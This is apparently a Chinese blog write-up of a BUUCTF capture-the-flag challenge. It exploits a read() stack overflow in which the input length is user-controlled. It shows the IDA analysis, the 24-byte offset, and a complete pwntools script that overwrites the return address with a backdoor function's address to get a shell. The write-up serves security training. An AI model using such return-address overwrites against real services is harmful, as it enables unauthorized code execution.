文章目录

Read 栈溢出

由 雾島风起時 发布

Read 栈溢出

话不多说,直接上题(BUUCTF)

放入 64 位 IDA 中反编译

注意看 read 函数的第三个参数,它决定我们输入的长度,而这个地址是由 scan 决定的

也就是说长度是我们可控制的

看内存可以看到离 ret 差 24 个字节

dq 占 8 个字节

找到后门函数

如果看不到地址往前拉一下,Star 就是起始地址

构造 payload

from pwn import *

p = remote('node5.buuoj.cn',27664)

payload = b'a' * 24 + p64(0x04006E6)

p.recv()
p.sendline('100')
p.recv()
p.sendline(payload)
p.interactive()

成功拿到 flag


0条评论

发表评论